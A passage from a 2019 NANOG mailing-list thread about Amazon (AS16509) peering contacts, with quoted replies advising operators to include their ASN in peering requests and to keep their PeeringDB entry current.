transmission. . >> >> -----Original Message----- >> From: NANOG [mailto:nanog-bounces at nanog.org] On Behalf Of Hansen, >> Christoffer >> Sent: Thursday, June 27, 2019 2:45 PM >> To: nanog at nanog.org >> Subject: Re: AS16509 (Amazon) peering contact >> >> >> On 27/06/2019 20:55, Andras Toth wrote: >>> Including at least an ASN in the peering request usually helps to >>> expedite the process :) >> & keeping your peeringdb entry up-to-date is usually helpful, too. >> Depending on who you want to peer with(!) >> >> Some networks require you to have up-to-date peeringdb information >> for your network. Including which facilities and/or internet >> exchanges you are either connected to and/or present on/in. >> This will often be the case if $peering_partner have either partial >> or fully automated peering configuration management. >> >> /Christoffer